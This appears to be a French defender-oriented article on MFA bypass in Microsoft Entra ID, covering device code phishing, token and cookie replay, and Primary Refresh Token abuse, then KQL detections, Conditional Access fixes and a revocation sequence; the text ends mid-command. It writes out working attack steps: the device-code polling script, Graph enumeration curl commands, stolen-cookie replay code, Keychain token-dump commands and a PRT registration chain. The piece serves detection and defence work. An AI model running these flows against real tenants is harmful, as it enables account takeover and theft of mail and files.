Contournement du MFA en 2025 à 2026 : Hameçonnage par Code d'Appareil, Rejeu de Jetons, et Pourquoi Votre Stratégie d'Accès Conditionnel Ne Suffit Pas
Votre utilisateur vient de compléter le MFA. Il a saisi son code d'authentification correctement. Microsoft l'a accepté. Votre stratégie d'Accès Conditionnel a été évaluée et validée. Et l'attaquant assis derrière un serveur dans un autre pays vient de recevoir un jeton d'accès OAuth valide pour 60 à 90 minutes, un jeton d'actualisation valable 90 jours, et un accès à l'intégralité de votre environnement Microsoft 365. Pas de page de phishing. Pas de faux formulaire de connexion. Aucune information d'identification volée. Le MFA a été le mécanisme utilisé par l'attaquant pour s'authentifier au nom de la victime. Ce n'est pas une menace future. Elle est activement exploitée depuis au moins mi-2024, et les campagnes ont fortement augmenté fin 2025.
Pourquoi le MFA N'Est Plus une Frontière de Confiance C'est une Étape d'Authentification
Les RSSI ont traité le MFA comme un contrôle quasi-absolu pendant des années. L'hypothèse implicite : si un utilisateur a complété le MFA, la session est légitime. Cette hypothèse est désormais invalidée pas dans des cas marginaux, pas théoriquement, mais dans des campagnes actives et généralisées documentées par Microsoft, Proofpoint, Huntress, Wiz et d'autres tout au long de 2024–2025.
Les attaques décrites dans cet article exploitent une vérité architecturale fondamentale des systèmes d'identité modernes : les jetons d'authentification sont des artefacts porteurs. Une fois émis, ils sont approuvés inconditionnellement par les serveurs de ressources, quel que soit l'endroit d'où ils sont présentés. L'objectif de l'attaquant a évolué : il ne s'agit plus de voler des informations d'identification, mais de voler ou d'intercepter des jetons et les flux OAuth modernes, conçus pour la commodité et l'interopérabilité, offrent aux attaquants plusieurs mécanismes légitimes pour y parvenir.
Cet article couvre trois classes d'attaques en profondeur technique :
- Hameçonnage par Code d'Appareil OAuth armement d'un flux de protocole légitime pour collecter des jetons par ingénierie sociale, sans jamais héberger une page de phishing
- Rejeu de Jetons / Détournement de Session vol de jetons émis depuis le stockage du navigateur, la mémoire ou le Keychain macOS, puis rejeu depuis l'infrastructure de l'attaquant
- Abus du Primary Refresh Token (PRT) le jeton le plus puissant de l'écosystème Entra ID, comment il peut être extrait ou hameçonné, et pourquoi il contourne même les revendications MFA résistantes au phishing
Pour chacun : le flux d'attaque exact, les commandes et appels API impliqués, ce qu'Entra ID enregistre, ce qu'il manque, et la logique de détection KQL spécifique que vous pouvez déployer.
Partie 1 Hameçonnage par Code d'Appareil OAuth : Contournement du MFA par Conception
1.1 Comprendre le Flux Légitime (RFC 8628)
La Grant d'Autorisation d'Appareil OAuth 2.0 (RFC 8628) a été conçue pour les appareils à capacité de saisie limitée téléviseurs intelligents, imprimantes, appareils IoT qui ne peuvent pas prendre en charge une connexion interactive par navigateur. Le flux fonctionne comme suit :
La propriété de conception critique : l'appareil interrogeant le jeton et l'utilisateur complétant l'authentification sont découplés. Le code d'appareil est le seul lien entre eux. Ce découplage est la primitive d'attaque.
1.2 L'Attaque : Flux HTTP Exacts
L'attaquant effectue la séquence suivante. Ce sont de véritables appels API contre la plateforme d'identité Microsoft :
Étape 1 L'attaquant initie le flux de code d'appareil
POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode HTTP/1.1
Content-Type: application/x-www-form-urlencoded
client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=openid+profile+email+offline_access+https://graph.microsoft.com/.default
d3590ed6-52b3-4102-aeff-aad2292ab01c est l'ID client de Microsoft Office un client public enregistré par Microsoft, ne nécessitant aucun secret. Les attaquants utilisent des ID client Microsoft légitimes pour demander des portées larges sans avoir besoin d'enregistrer une application malveillante, rendant la détection basée sur le consentement des applications inutile.
Réponse :
{
"user_code": "ABCD-EFGH",
"device_code": "BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-....[longue chaîne opaque]",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5,
"message": "Pour vous connecter, utilisez un navigateur web pour ouvrir la page https://microsoft.com/devicelogin et entrez le code ABCD-EFGH pour vous authentifier."
}
Étape 2 L'attaquant commence l'interrogation pendant l'envoi du leurre de phishing à la victime
import requests, time
device_code = "BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-...."
while True:
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"device_code": device_code
}
)
resp = r.json()
if "access_token" in resp:
print("[+] Jeton acquis !")
print("Jeton d'accès :", resp["access_token"])
print("Jeton d'actualisation :", resp["refresh_token"])
break
elif resp.get("error") == "authorization_pending":
time.sleep(5) # Interroger toutes les 5 secondes selon le champ interval
elif resp.get("error") == "expired_token":
print("[-] Code expiré, régénérer")
break
Étape 3 La victime reçoit l'e-mail de phishing, entre le code sur la vraie page Microsoft
La victime navigue vers https://microsoft.com/devicelogin le vrai domaine Microsoft, certificat valide, aucun indicateur de phishing entre ABCD-EFGH, se connecte avec ses vraies informations d'identification, complète le MFA (push, TOTP, peu importe) et clique sur "Continuer."
Étape 4 La boucle d'interrogation de l'attaquant retourne les jetons
Au moment où la victime clique sur "Continuer," la prochaine interrogation retourne :
{
"token_type": "Bearer",
"scope": "openid profile email offline_access https://graph.microsoft.com/.default",
"expires_in": 3599,
"access_token": "eyJ0eXAiOiJKV1QiLCJub25jZSI6....",
"refresh_token": "0.AUkA2...[jeton 90 jours]",
"id_token": "eyJ0eXAiOiJKV1Qi..."
}
L'attaquant dispose désormais de :
- Un jeton d'accès valide ~60 minutes, délimité à Microsoft Graph accès immédiat à l'API Graph
- Un jeton d'actualisation valide 90 jours (ou jusqu'à révocation explicite) accès persistant
Le MFA a été satisfait. Par la victime. Pour la session de l'attaquant. C'est conçu pour fonctionner ainsi.
1.3 Ce Que l'Attaquant Peut Faire Avec les Jetons
Avec le jeton d'accès à l'API Graph, l'attaquant commence immédiatement la reconnaissance :
# Énumérer tout le contenu de la boîte mail
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime"
# Télécharger tous les fichiers depuis OneDrive
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/drive/root/children"
# Énumérer les messages Teams
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/chats/getAllMessages"
# Lister tous les utilisateurs du tenant
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/users?$top=999&$select=displayName,mail,userPrincipalName,jobTitle"
# Obtenir tous les groupes et memberships (identifier les groupes privilégiés)
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/memberOf"
Dans les 15 premières minutes de la durée de vie du jeton d'accès, un acteur malveillant peut extraire tout le contenu de la boîte mail d'un cadre dirigeant, identifier tous les groupes privilégiés et leurs membres, exfiltrer tous les fichiers OneDrive et SharePoint accessibles à cet utilisateur, et lire tout l'historique des conversations Teams y compris les canaux avec des discussions stratégiques sensibles.
Le jeton d'actualisation étend cela pendant 90 jours :
# Échange de jeton d'actualisation obtenir un nouveau jeton d'accès à l'expiration
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "refresh_token",
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"refresh_token": "<jeton-90-jours>",
"scope": "https://graph.microsoft.com/.default offline_access"
}
)
# Retourne un nouveau access_token + nouveau refresh_token (fenêtre glissante)
Le jeton d'actualisation glisse chaque utilisation prolonge la fenêtre. Tant que l'attaquant l'utilise au moins tous les 90 jours, l'accès est persistant jusqu'à ce qu'un administrateur révoque explicitement tous les jetons d'actualisation de l'utilisateur.
1.4 Génération Dynamique de Code : Contournement de l'Expiration de 15 Minutes
Les premières campagnes de hameçonnage par code d'appareil avaient une faiblesse critique : le code expirait 15 minutes après la génération. Les attaquants qui pré-généraient des codes et les intégraient dans des e-mails de phishing en masse perdaient la course si la victime ouvrait l'e-mail plus de 15 minutes après l'envoi.
Le toolkit SquarePhish2 et la plateforme PhaaS EvilTokens (documentée début 2026) résolvent ce problème avec la génération dynamique :
La victime dispose d'une fenêtre de 15 minutes à partir du moment où elle clique ce qui est largement suffisant pour compléter l'authentification. Le problème de timing de l'attaquant est complètement éliminé.
Partie 2 Rejeu de Jetons : Voler Ce Qui a Déjà Été Émis Légitimement
Le hameçonnage par code d'appareil manipule le processus d'émission. Le rejeu de jetons le contourne entièrement l'attaquant vole un jeton qui a été émis légitimement lors d'une vraie session utilisateur.
2.1 Où Vivent les Jetons et Comment Ils Sont Volés
Cookies de Session du Navigateur (Pass-the-Cookie)
Lorsqu'un utilisateur s'authentifie à Microsoft 365, Entra ID émet des cookies de session. Les plus précieux : ESTSAUTH et ESTSAUTHPERSISTENT les cookies de session représentant une authentification MFA complétée.
# Chrome/Edge stockent les cookies dans une base de données SQLite
# Chemin Windows :
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies
# Chemin macOS :
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Microsoft Edge/Default/Cookies
Le cookie ESTSAUTH, une fois extrait, peut être rejoué dans un navigateur sur n'importe quelle machine :
# Utilisation de requests pour rejouer le cookie de session volé
import requests
session = requests.Session()
session.cookies.set(
'ESTSAUTH', '<valeur_cookie_volée>',
domain='login.microsoftonline.com'
)
session.cookies.set(
'ESTSAUTHPERSISTENT', '<cookie_persistant_volé>',
domain='login.microsoftonline.com'
)
# Accéder à Microsoft 365 avec la session authentifiée de la victime
r = session.get("https://outlook.office.com/mail/")
# Retourne la boîte mail de la victime aucune invite de credential, aucune invite MFA
Extraction de Jetons depuis le Keychain macOS (Documentée en 2025)
Microsoft Edge sur macOS met en cache les jetons OAuth y compris les jetons d'actualisation et dans certains cas les Primary Refresh Tokens dans le Keychain macOS. Cela a été documenté par des chercheurs en sécurité fin 2025 :
# Lister toutes les entrées Keychain liées à Microsoft
security find-internet-password -l "Microsoft Edge" -g 2>&1 | grep -i "microsoft\|azure\|msal"
# Entrées spécifiques à rechercher :
# "refreshtoken-1--<guid>" Jeton d'actualisation OAuth
# "primaryrefreshtoken-1--<guid>" Primary Refresh Token (le plus précieux)
# "accesstoken-1--<guid>" Jeton d'accès à courte durée de vie
# Exporter une entrée spécifique :
security find-generic-password -a "refreshtoken" -s "Microsoft Edge" -w
Avec le jeton d'actualisation extrait, l'attaquant le rejoue en utilisant TokenTactics ou un script personnalisé :
# TokenTactics module PowerShell pour la manipulation de jetons
Import-Module TokenTactics
# Actualiser un jeton volé pour obtenir un nouveau jeton d'accès
$tokens = RefreshTo-MSGraphToken -refreshToken "<jeton_actualisation_volé>" `
-tenantId "<tenant_id>" `
-clientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$tokens.access_token # Nouveau jeton d'accès accès immédiat à l'API Graph
$tokens.refresh_token # Nouveau jeton d'actualisation fenêtre glissante de 90 jours
Proxy AiTM (Adversaire-au-Milieu) Evilginx / Tycoon 2FA
Le mécanisme de vol de jetons le plus évolutif est le proxy inverse AiTM documenté abondamment dans les campagnes Tycoon 2FA (qui représentaient 65% des attaques d'identifiants pilotées par PhaaS au S1 2025 selon Ontinue) :
Le proxy se place de manière transparente entre l'utilisateur et Microsoft. L'utilisateur complète le vrai MFA. Microsoft émet de vrais cookies de session. Le proxy les capture avant de les transmettre au navigateur de l'utilisateur. Les deux parties voient une authentification réussie. L'attaquant a les cookies.
2.2 La Lacune de Détection des Voyages Impossibles
Une fois que l'attaquant rejoue le jeton depuis sa propre IP, une anomalie géographique existe. Cependant, le rejeu de jetons présente un avantage structurel par rapport aux attaques par mot de passe pour contourner cette détection :
-
Les connexions non interactives ne déclenchent pas toujours les voyages impossibles. Lorsqu'un attaquant utilise un jeton d'actualisation pour obtenir silencieusement de nouveaux jetons d'accès, ceux-ci apparaissent comme des connexions non interactives dans les journaux Entra ID non évaluées selon les mêmes politiques de risque que les connexions interactives par défaut dans de nombreuses configurations de tenant.
-
Le décalage temporel permet la plausibilité géographique. Si l'attaquant attend plusieurs heures après le vol du jeton avant de l'utiliser depuis un emplacement distant, le delta temporel rend le calcul de voyage impossible ambigu.
-
Les services VPN commerciaux et les proxies résidentiels contournent trivialement la géolocalisation IP. Les attaquants utilisent des proxies résidentiels dans la ville ou le pays de la victime pour que l'accès semble local.
Partie 3 Abus du Primary Refresh Token : Le Joyau de la Couronne
3.1 Qu'est-ce qu'un PRT et Pourquoi Est-il Uniquement Dangereux
Le Primary Refresh Token est un artefact OAuth spécial émis par Entra ID pour les appareils joints ou enregistrés dans Azure AD. C'est le jeton le plus puissant de la pile d'identité Microsoft :
| Type de Jeton | Portée | Durée de Vie | Revendication MFA | Lié à l'Appareil |
|---|---|---|---|---|
| Jeton d'Accès | Ressource spécifique | 60–90 min | Revendications héritées | Non |
| Jeton d'Actualisation | Tenant entier | 90 jours | Revendications héritées | Non |
| Primary Refresh Token | Toute ressource Entra ID | 14 jours (glissant) | Peut satisfaire la revendication MFA | Oui (protégé par TPM sur W11) |
Un PRT inclut une revendication device_id et la revendication de méthode d'authentification MFA (amr). Lorsqu'une politique d'Accès Conditionnel requiert "MFA obligatoire" ET "appareil conforme," le PRT peut satisfaire les deux conditions simultanément. C'est pourquoi le vol de PRT est l'attaque de premier niveau : PRT volé → peut contourner les vérifications de conformité d'appareil ET les exigences MFA qu'un jeton d'accès ou d'actualisation volé ne peut pas contourner.
3.2 Extraction du PRT (Windows)
Sur Windows 10 et 11 sans TPM, le PRT est stocké dans la mémoire LSASS et le Gestionnaire d'Informations d'Identification Windows :
# Vérifier si l'appareil actuel a un PRT :
dsregcmd /status
# La sortie indique la présence du PRT :
# AzureAdPrt : YES
# AzureAdPrtUpdateTime : 2025-01-15 09:23:44.000 UTC
# AzureAdPrtExpiryTime : 2025-01-29 09:23:44.000 UTC
Avec un accès SYSTEM sur la machine, un attaquant peut extraire le PRT en utilisant des outils qui lisent depuis LSASS ou le Gestionnaire d'Informations d'Identification Windows :
# ROADToken outil de recherche défensive pour l'analyse de PRT
# Demander un nouveau jeton d'accès en utilisant le PRT extrait
.\ROADToken.exe --prt <prt_extrait> --prt-sessionkey <clé_session> `
--resource https://graph.microsoft.com/
# Le jeton d'accès résultant satisfait les revendications de conformité d'appareil
# même lorsqu'utilisé depuis une machine différente
Sur Windows 11 avec TPM : Le PRT est lié à la puce TPM, rendant l'extraction dramatiquement plus difficile la clé privée utilisée pour prouver la possession du PRT ne quitte jamais le TPM. Cependant, les VMs Hyper-V Generation 1 n'ont pas de support TPM, les VMs hébergées dans le cloud doivent être explicitement configurées avec vTPM, et l'accès UEFI/BIOS peut désactiver le TPM.
3.3 Hameçonnage Direct d'un PRT La Technique Avancée
Le chercheur Dirk-jan Mollema a documenté une technique où le hameçonnage par code d'appareil, combiné à l'enregistrement d'appareil, peut yielder un PRT complet :
Chaîne d'attaque pour obtenir un PRT via le hameçonnage par code d'appareil :
Étape 1 : L'attaquant initie le flux de code d'appareil pour l'application broker Windows
client_id = 29d9ed98-a469-4536-ade2-f981bc1d605e (broker Microsoft)
scope = openid profile offline_access
Étape 2 : La victime complète le MFA (revendication MFA fraîche dans le jeton résultant)
Étape 3 : L'attaquant a un jeton d'actualisation + revendication MFA fraîche
Étape 4 : L'attaquant enregistre un nouvel appareil dans le tenant
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
{grant_type: refresh_token, scope: "urn:ms-drs:enterpriseregistration..."}
Étape 5 : Avec l'appareil enregistré, l'attaquant demande un PRT pour cet appareil
Le PRT porte : device_id valide + revendication MFA de l'étape 2
Étape 6 : L'attaquant utilise le PRT pour accéder à TOUTE ressource protégée par :
"Exiger MFA" ✓ (revendication MFA de l'étape 2)
"Exiger appareil conforme" ✓ (appareil enregistré à l'étape 4)
Requête KQL pour détecter cet abus d'enregistrement d'appareil :
// Détecter l'enregistrement d'appareil immédiatement après authentification par code d'appareil
let DeviceCodeLogins = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UserPrincipalName, DeviceCodeTime = TimeGenerated,
IPAddress, CorrelationId;
let DeviceRegistrations = AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Register device"
or OperationName == "Add registered users to device"
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| project UPN, RegistrationTime = TimeGenerated,
DeviceName = tostring(TargetResources[0].displayName);
DeviceCodeLogins
| join kind=inner DeviceRegistrations on $left.UserPrincipalName == $right.UPN
| where (RegistrationTime - DeviceCodeTime) between (0min .. 30min)
| project UserPrincipalName, DeviceCodeTime, RegistrationTime,
IPAddress, DeviceName, CorrelationId
| sort by DeviceCodeTime desc
Partie 4 Ce qu'Entra ID Enregistre et Ce Qu'il Manque
4.1 Taxonomie des Journaux de Connexion
Entra ID produit trois types de journaux de connexion, et ils ne sont pas surveillés de manière égale :
| Table de Journaux | Ce Qu'elle Capture | Rétention par Défaut | Couverture des Alertes |
|---|---|---|---|
SigninLogs | Connexions interactives (navigateur, invites d'applications clientes) | 30 jours | Élevée la plupart des orgs surveillent ceci |
NonInteractiveUserSignInLogs | Actualisations silencieuses de jetons (arrière-plan, grants refresh_token) | 30 jours | Faible souvent non intégré dans le SIEM |
ServicePrincipalSignInLogs | Authentification app-to-app | 30 jours | Moyenne |
ManagedIdentitySignInLogs | Demandes de jetons d'identité gérée | 30 jours | Faible |
La lacune critique : Le rejeu de jetons apparaît le plus souvent dans NonInteractiveUserSignInLogs. Lorsqu'un attaquant utilise un jeton d'actualisation volé pour obtenir silencieusement de nouveaux jetons d'accès, cela génère des entrées dans cette table pas dans SigninLogs. Beaucoup d'organisations n'intègrent pas cette table dans leur SIEM, ou ne l'alertent pas avec la même rigueur.
4.2 À Quoi Ressemble une Connexion par Hameçonnage de Code d'Appareil dans les Journaux
{
"UserPrincipalName": "victime@entreprise.com",
"AppDisplayName": "Microsoft Office",
"ClientAppUsed": "Applications mobiles et clients bureau",
"AuthenticationProtocol": "deviceCode",
"AuthenticationRequirement": "singleFactorAuthentication",
"ConditionalAccessStatus": "success",
"IPAddress": "185.220.101.x",
"Location": {
"City": "Francfort",
"CountryOrRegion": "DE"
},
"DeviceDetail": {
"deviceId": "",
"displayName": "",
"operatingSystem": "",
"browser": ""
},
"RiskDetail": "none",
"ResultType": "0"
}
Indicateurs forensiques clés :
AuthenticationProtocol == "deviceCode"la preuve irréfutable- Champs
DeviceDetailvides le jeton n'était pas lié à un appareil enregistré IPAddressappartient à l'infrastructure de l'attaquant, pas aux IPs connues de la victime
4.3 À Quoi Ressemble le Rejeu de Jetons dans les Journaux
{
"UserPrincipalName": "victime@entreprise.com",
"AppDisplayName": "Microsoft Graph",
"AuthenticationProtocol": "none",
"IsInteractive": false,
"IPAddress": "45.152.x.x",
"Location": {"CountryOrRegion": "NL"},
"TokenIssuerType": "AzureAD",
"RiskDetail": "none",
"UniqueTokenIdentifier": "ZGJhNzQ4..."
}
Le modèle d'accès de l'attaquant montrera des connexions non interactives cohérentes à intervalles réguliers (actualisation de jeton), depuis une IP cohérente (le serveur de l'attaquant), accédant à des endpoints de l'API Microsoft Graph non typiques du modèle de travail normal de la victime.
Partie 5 Détection : Requêtes Qui Fonctionnent Vraiment
5.1 Détecter les Connexions par Code d'Appareil depuis des Contextes Non Gérés
Le point de départ avec la plus haute fidélité. Le flux de code d'appareil est rarement légitime pour les utilisateurs d'entreprise standard :
// Détecter l'authentification par code d'appareil où aucun appareil n'est enregistré
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| where isempty(DeviceDetail.deviceId)
| extend
Pays = tostring(LocationDetails.countryOrRegion),
Ville = tostring(LocationDetails.city)
| summarize
Nombre = count(),
IPsUniques = dcount(IPAddress),
Pays = make_set(Pays),
DernièreVue = max(TimeGenerated)
by UserPrincipalName, AppDisplayName
| where Nombre > 0
| sort by DernièreVue desc
Version plus stricte alerter sur toute connexion par code d'appareil pour les utilisateurs non dans une liste autorisée :
// Maintenir une liste autorisée des utilisateurs/apps avec des besoins légitimes de code d'appareil
let UtilisateursCodeAppareilAutorisés = dynamic([
"admin-iot@entreprise.com",
"svc-imprimante@entreprise.com"
]);
SigninLogs
| where TimeGenerated > ago(1d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| where UserPrincipalName !in (UtilisateursCodeAppareilAutorisés)
| project TimeGenerated, UserPrincipalName, IPAddress,
AppDisplayName, LocationDetails, CorrelationId
| sort by TimeGenerated desc
Taux de faux positifs attendu lorsque la liste autorisée est correctement configurée : quasi nul.
5.2 Détecter le Rejeu de Jetons via des Voyages Impossibles dans les Journaux Non Interactifs
// Ciblant la lacune de détection les connexions non interactives où se cache le rejeu de jetons
let SeuilleDeltaTempsMinutes = 60;
let DistanceMinimaleKm = 500;
NonInteractiveUserSignInLogs
| where TimeGenerated > ago(24h)
| where ResultType == "0"
| extend
Lat = toreal(LocationDetails.geoCoordinates.latitude),
Lon = toreal(LocationDetails.geoCoordinates.longitude),
Pays = tostring(LocationDetails.countryOrRegion)
| where isnotempty(Lat) and isnotempty(Lon)
| sort by UserPrincipalName asc, TimeGenerated asc
| serialize
| extend
LatPrécédente = prev(Lat, 1),
LonPrécédente = prev(Lon, 1),
HeurePrécédente = prev(TimeGenerated, 1),
UtilisateurPrécédent = prev(UserPrincipalName, 1)
| where UserPrincipalName == UtilisateurPrécédent
| extend
DeltaTempsMin = datetime_diff('minute', TimeGenerated, HeurePrécédente),
DistanceKm = 111.0 * sqrt(pow(Lat - LatPrécédente, 2) + pow(Lon - LonPrécédente, 2))
| where DeltaTempsMin < SeuilleDeltaTempsMinutes
| where DistanceKm > DistanceMinimaleKm
| project TimeGenerated, UserPrincipalName,
IPActuel = IPAddress, PaysCourant = Pays,
DeltaTempsMin, DistanceKm, AppDisplayName,
UniqueTokenIdentifier
| sort by TimeGenerated desc
5.3 Corréler l'Utilisation des Jetons à l'Activité de l'API Graph
// Joindre SigninLogs à MicrosoftGraphActivityLogs pour voir ce qu'a fait un jeton
// Nécessite la configuration des journaux d'activité Graph dans Log Analytics
let Jetonssuspects = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UniqueTokenIdentifier, UserPrincipalName,
HeureConnexion = TimeGenerated, IPConnexion = IPAddress;
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| join kind=inner JetonsSupects on $left.UniqueTokenIdentifier == $right.UniqueTokenIdentifier
| project TimeGenerated, UserPrincipalName, RequestUri,
ResponseStatusCode, ClientIpAddress, IPConnexion
| sort by TimeGenerated asc
5.4 Détecter l'Abus d'Enregistrement d'Appareil Basé sur le PRT
// Haute fidélité : appareil enregistré immédiatement après auth par code d'appareil
// Taux de faux positifs quasi nul dans les environnements d'entreprise standard
let FenêtreRecherche = 1h;
let ÉvénementsCodeAppareil = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UserPrincipalName, HeureCA = TimeGenerated,
IPAdresseCA = IPAddress, CorrelationId;
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName in ("Register device", "Add registered users to device",
"Add member to role", "Add eligible member to role")
| extend ActeurUPN = tostring(InitiatedBy.user.userPrincipalName)
| where isnotempty(ActeurUPN)
| join kind=inner ÉvénementsCodeAppareil on $left.ActeurUPN == $right.UserPrincipalName
| extend DeltaTemps = TimeGenerated - HeureCA
| where DeltaTemps between (0min .. FenêtreRecherche)
| project ActeurUPN, OperationName, TimeGenerated, HeureCA,
DeltaTemps, IPAdresseCA,
RessourceCible = tostring(TargetResources[0].displayName)
| sort by TimeGenerated desc
5.5 Chasser les Modèles d'Abus de Jeton d'Actualisation (Accès Massif à l'API Graph)
Les utilisateurs légitimes ne font pas de requêtes massives à l'API Graph à 3h du matin :
// Détecter un volume anormal de requêtes API Graph depuis des sessions non interactives
// Indicateur d'exfiltration automatisée de données avec des jetons volés
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| where RequestMethod in ("GET")
| extend
Heure = hourofday(TimeGenerated),
UPN = tostring(UserId)
| summarize
NombreRequêtes = count(),
EndpointsUniques = dcount(RequestUri),
JetonsUniques = dcount(UniqueTokenIdentifier)
by UPN, bin(TimeGenerated, 1h)
| where NombreRequêtes > 500
| where Heure between (0 .. 6)
| sort by NombreRequêtes desc
Partie 6 Les Lacunes de l'Accès Conditionnel : Pourquoi Votre Stratégie a Probablement des Failles
6.1 La Condition Qui Bloque le Hameçonnage par Code d'Appareil (Et Pourquoi Elle N'Est Pas Déployée)
Microsoft a ajouté la condition Flux d'authentification d'Accès Conditionnel spécifiquement pour traiter l'abus du code d'appareil :
Stratégie d'Accès Conditionnel : "Bloquer le Flux de Code d'Appareil"
──────────────────────────────────────────────────────────────────────
Affectations :
Utilisateurs : Tous les utilisateurs
Exclure : Comptes de secours, comptes de service avec besoins IoT documentés
Ressources Cibles :
Applications cloud : Toutes les applications cloud
Conditions :
Flux d'authentification : Flux de code d'appareil
Accorder :
Bloquer l'accès
──────────────────────────────────────────────────────────────────────
Avant d'activer en mode enforcement, auditez votre environnement :
Connect-MgGraph -Scopes "AuditLog.Read.All"
$filtre = "authenticationProtocol eq 'deviceCode' and " +
"createdDateTime ge $(([datetime]::UtcNow.AddDays(-30)).ToString('o'))"
$connexions = Get-MgAuditLogSignIn -Filter $filtre -All -Top 999
$connexions | Select-Object -Property UserPrincipalName, AppDisplayName,
IPAddress, CreatedDateTime |
Group-Object UserPrincipalName |
Sort-Object Count -Descending |
Select-Object Name, Count, @{N='Apps';E={($_.Group.AppDisplayName | Sort-Object -Unique) -join ', '}} |
Export-Csv "utilisation_code_appareil.csv" -NoTypeInformation
6.2 Les Six Lacunes les Plus Courantes de l'Accès Conditionnel
| Lacune | Pourquoi Elle Existe | Ce Que l'Attaquant Exploite |
|---|---|---|
| Flux de code d'appareil non bloqué | Condition de stratégie ajoutée par Microsoft en 2023 beaucoup de tenants n'ont pas révisé leurs stratégies CA depuis | Hameçonnage par code d'appareil complet comme décrit ci-dessus |
| Connexions non interactives non évaluées | Les stratégies CA s'appliquent aux flux interactifs par défaut | Jeton d'actualisation volé rejoué silencieusement contourne l'évaluation CA de l'état actuel |
| Exigence d'appareil conforme non appliquée pour les apps web | Préoccupations de friction | Jeton rejoué dans un navigateur non conforme contourne l'exigence d'appareil |
| Emplacements Nommés non maintenus | L'informatique liste les IPs du bureau d'entreprise mais oublie les sorties VPN, les plages de fournisseurs de confiance | Toutes les sessions authentifiées depuis des emplacements "inconnus" génèrent des alertes à faible signal |
| Authentification héritée non entièrement bloquée | Certaines apps héritées se cassent quand l'auth héritée est désactivée | Brute-force via SMTP, IMAP, EWS ces protocoles ne supportent pas du tout le MFA |
| Attributions de rôles admin non protégées par MFA + PIM | Commodité : les admins n'aiment pas l'auth par étapes | Un jeton volé depuis un compte utilisateur standard peut servir à escalader si les rôles admin ne sont pas correctement gérés par PIM |
6.3 Évaluation Continue de l'Accès Ce Qu'elle Protège et Ce Qu'elle Ne Protège Pas
L'Évaluation Continue de l'Accès (CAE) permet à certains services Microsoft (Exchange Online, SharePoint, Teams, Graph) de réévaluer l'accès en quasi-temps réel lorsque des signaux de risque changent.
Ce que CAE protège :
- Compte utilisateur désactivé → accès révoqué en quelques minutes (pas à la prochaine expiration du jeton)
- Réinitialisation du mot de passe → jetons d'actualisation invalidés rapidement
- Événement à risque élevé détecté par Identity Protection → accès bloqué en quelques minutes pour les clients compatibles CAE
Ce que CAE ne protège PAS :
- L'attaquant utilisant le jeton d'accès pendant sa durée de vie restante (~60 min) avant que la révocation se propage
- Les clients qui ne supportent pas CAE (beaucoup d'apps tierces, anciens clients)
- Le délai de propagation de 10 à 15 minutes entre l'action de révocation et l'application même dans les clients compatibles CAE
6.4 Configuration de la Durée de Vie des Jetons : Ce Que Vous Pouvez Vraiment Contrôler
# Créer une stratégie personnalisée avec une durée de vie plus courte du jeton d'accès
$stratégieVieJeton = @{
Definition = @(
'{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"00:30:00"}}'
)
DisplayName = "StratégieJetonsAccèsCourte"
IsOrganizationDefault = $false
}
New-MgPolicyTokenLifetimePolicy -BodyParameter $stratégieVieJeton
Plus impactant : Stratégie de fréquence de connexion dans l'Accès Conditionnel
Stratégie CA : "Exiger une re-authentification pour les apps sensibles"
──────────────────────────────────────────────────────────────────────
Affectations :
Utilisateurs : Tous les utilisateurs
Cible : Portail Azure, Exchange Online (opérations admin), Graph Explorer
Contrôles de Session :
Fréquence de connexion : 4 heures (ou 1 heure pour la plus haute sensibilité)
Session de navigateur persistante : Jamais persistante
──────────────────────────────────────────────────────────────────────
Partie 7 Réponse aux Incidents Lorsque le Vol de Jeton Est Confirmé
7.1 La Séquence de Révocation
Si vous avez confirmé un vol de jeton, voici la séquence de remédiation exacte. L'ordre compte :
# Étape 1 : Révoquer TOUS les jetons d'actualisation pour l'utilisateur affecté
Connect-MgGraph -Scopes "User.ReadWrite.All"
$idUtilisateur = "victime@entreprise.com"
Invoke-MgRevokeUserSignInSession -UserId $idUtilisateur
# Vérifier la révocation :
Get-MgUser -UserId $idUtilisateur -Property "signInSessionsValidFromDateTime" |
Select-Object signInSessionsValidFromDateTime
# Étape 2 : Désactiver le compte pour forcer le blocage des clients non-CAE immédiatement
Update-MgUser -UserId $idUtilisateur -AccountEnabled $false
# Attendre 60 minutes, puis réactiver
# Étape 3 : Supprimer les enregistrements d'appareils malveillants
Get-MgUserRegisteredDevice -UserId $idUtilisateur |
